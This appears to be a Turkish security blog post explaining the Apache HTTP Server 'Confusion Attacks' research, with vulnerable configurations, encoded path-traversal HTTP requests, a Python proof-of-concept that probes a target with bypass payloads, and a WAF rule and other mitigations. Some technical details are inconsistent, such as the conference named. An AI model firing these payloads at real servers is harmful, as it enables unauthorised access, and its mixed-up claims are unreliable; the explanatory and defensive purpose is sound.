Confusion Attacks: Apache HTTP Server'daki Gizli Semantik Belirsizliği Sömürmek
Wed May 27 2026 · 3 min read
Category: Security Research
Giriş: 2024'ün En İyi Saldırı Tekniği
Güvenlik araştırmacısı Orange Tsai, Black Hat USA 2024 konferansında güvenlik dünyasını sarsan bir araştırma sundu. Apache HTTP Server'daki gizli semantik belirsizlikleri kullanarak ACL bypass, SSRF ve unauthenticated RCE zincirleri oluşturmak mümkün.
Bu araştırma, PortSwigger'ın "2024 Yılının En İyi 10 Web Hacking Tekniği" listesinde birinci sıraya yerleşti. Güvenlik açıkları CVE-2024-38472'den CVE-2024-38477'ye kadar uzanan 6 farklı CVE ile belgelendi.
Temel Sorun: Semantik Belirsizlik Nedir?
Apache HTTP Server birden fazla modülden oluşur: mod_rewrite, mod_proxy, mod_authz_core, mod_cgi vb. Her modül bir HTTP isteğini pipeline'ın farklı bir noktasında işler.
Problem şu: Farklı modüller aynı URL'yi farklı biçimlerde yorumlayabilir.
Klasik bir örnek: %2F karakteri.
mod_authz_core(ACL kontrolü) URL'yi ham haliyle alır:/api%2F../admin→/adminkuralıyla eşleşmez → izin verilirmod_rewriteaynı URL'yi decode eder:%2F → /→/api/../admin→/admin→ backend'e iletilir
ACL "güvenli" görürken, backend handler gerçek yolu alır. Bu boşluk, tam bir bypass zincirine dönüşür.
Üç Confusion Türü
1. Filename Confusion — CVE-2024-38474 / CVE-2024-38473
mod_rewrite, ACL denetiminden önce URL'yi normalize etmez. ACL ham URL üzerinden karar verir, ancak mod_rewrite sonradan decode eder.
Örnek savunmasız yapılandırma:
<Location "/admin">
Require ip 192.168.1.0/24
</Location>
RewriteEngine On
RewriteRule "^/api/(.+)$" "/var/www/api/$1" [L]
Saldırı:
GET /api%2F../admin/panel HTTP/1.1
Host: target.com
Adım 1 — ACL: /api%2F../admin/panel → /admin kuralıyla eşleşmez → PASS
Adım 2 — mod_rewrite: %2F → / → /api/../admin/panel → /admin/panel → backend'e iletilir
Sonuç: Korumalı kaynak ifşa edilir ya da RCE tetiklenir.
2. DocumentRoot Confusion — CVE-2024-38476 / CVE-2024-38472
Ters proxy yapılandırmalarında (ProxyPass), Apache'nin yol yorumlaması backend'e farklı bir istek iletmesine neden olabilir.
Örnek savunmasız yapılandırma:
ProxyPass "/app" "http://internal-backend:8080/app"
<Location "/app/admin">
Require all denied
</Location>
Saldırı:
GET /app%2F..%2Fadmin/config HTTP/1.1
ACL /app/admin kuralıyla eşleşmez (encoded karakterler). ProxyPass decode edilmiş yolu backend'e iletir: /admin/config. Backend bu kısıtlı kaynağı döndürür.
Bu teknik; internal servislere SSRF, yetkisiz dosya okuma ve backend RCE için kullanılabilir.
3. Handler Confusion — CVE-2024-38475 / CVE-2024-38477
mod_rewrite bir isteği yanlış handler'a yönlendirir. Handler mod_cgi veya mod_php ise gelen dosya çalıştırılır.
Örnek savunmasız yapılandırma:
RewriteEngine On
RewriteRule "^/static/(.+\.gif)$" "/var/www/static/$1" [L]
AddHandler cgi-script .cgi
Saldırı:
GET /static/../../cgi-bin/shell.cgi HTTP/1.1
Rewrite kuralı .gif uzantısıyla eşleşemez ancak NoDecode flag yoksa yol normalize edilir ve /cgi-bin/shell.cgi CGI handler üzerinden çalıştırılır. Bu doğrudan RCE anlamına gelir.
Saldırı Zinciri: Görselleştirilmiş
PoC — Encoded Path Bypass Testi
import requests
TARGET = "http://target.com"
# Filename Confusion PoC
payloads = [
"/api%2F../admin/config", # %2F bypass
"/api%2e%2e/admin/config", # %2E%2E bypass
"/api/..%2Fadmin/config", # mixed encoding
"/api/%2e%2e/admin/config", # double-dot encoded
]
for payload in payloads:
r = requests.get(TARGET + payload, allow_redirects=False)
if r.status_code == 200:
print(f"[!] BYPASS: {payload} → {r.status_code}")
else:
print(f" BLOCKED: {payload} → {r.status_code}")
Hangi Apache Versiyonları Etkilendi?
- Apache HTTP Server 2.4.0 – 2.4.59 arası tüm sürümler
mod_rewrite,mod_proxy,mod_cgiaktifse etkilenir- Düzeltme: Apache 2.4.60 (Temmuz 2024)
Tespit ve Önlem
1. Güncelleme: Apache 2.4.60 veya daha yeni bir sürüme yükseltin.
2. AllowEncodedSlashes ayarı:
AllowEncodedSlashes NoDecode
Bu ayar, URL'deki encoded slash karakterlerinin decode edilmesini engeller.
3. RewriteRule'larda [NE] flag kullanmaktan kaçının (no-escape flag decode eder).
4. WAF kurallarında hem encoded hem decoded form kontrol edilmeli:
# Hem /admin hem %2Fadmin'i engelle
SecRule REQUEST_URI "@rx (?i)(%2f|%2e%2e|/\.\./)" \
"id:1001,deny,msg:'Encoded Path Traversal'"
5. Reverse proxy önünde normalize edici bir katman ekleyin (örn: Nginx ile merge_slashes on).
Sonuç
Confusion Attacks, tek bir modül açığı yerine modüller arası tutarsızlıktan doğan yeni bir saldırı kategorisini tanımlar. Özellikle şunları gösterir: Yalnızca bireysel modülleri test etmek yeterli değildir — güvenlik, modüller arası etkileşim analizini de kapsamalıdır.
Orange Tsai, bu araştırmayla Apache gibi milyonlarca sunucuda çalışan bir altyapının 20 yıllık bir bug sınıfına sahip olabileceğini ortaya koydu.
CVE: CVE-2024-38472, CVE-2024-38473, CVE-2024-38474, CVE-2024-38475, CVE-2024-38476, CVE-2024-38477
İlk Açıklama: Temmuz 2024
Araştırmacı: Orange Tsai / DEVCORE Research
Konferans: Black Hat USA 2024
Sıkça Sorulan Sorular
Apache Confusion Attacks nedir?
Orange Tsai'nin (DEF CON 2024) ortaya koyduğu, Apache HTTP Server modülleri arasındaki URL ve dahili alan işleme tutarsızlıklarını sömürerek ACL bypass, SSRF ve kimlik doğrulamasız RCE'ye zincirlenen bir saldırı sınıfıdır.
Filename confusion nedir?
Farklı Apache modüllerinin bir yol veya dosya adının nerede bittiği konusunda anlaşamadığı bir tutarsızlıktır — kodlanmış karakterler veya kesme (truncation) nedeniyle — ve saldırganın erişim kontrollerini atlatmasına ya da istenmeyen handler'lara ulaşmasına imkan verir.
Hangi Apache sürümleri etkilenir?
Orijinal araştırma, 2.4.60 öncesi Apache HTTP Server sürümlerini etkiler; bu sürümde birçok confusion primitifi için düzeltmeler (CVE-2024-38474 dahil) yer aldı. Ortamlar yükseltme yapmalı ve rewrite ile handler yapılandırmalarını gözden geçirmelidir.
Confusion saldırılarına karşı nasıl savunma yapılır?
Yamalı bir Apache sürümüne yükseltin, aşırı izin veren RewriteRule ve Files/Location direktiflerinden kaçının, kullanılmayan handler'ları devre dışı bırakın ve erişim kontrolü uygulamadan önce yolları normalleştirip doğrulayın.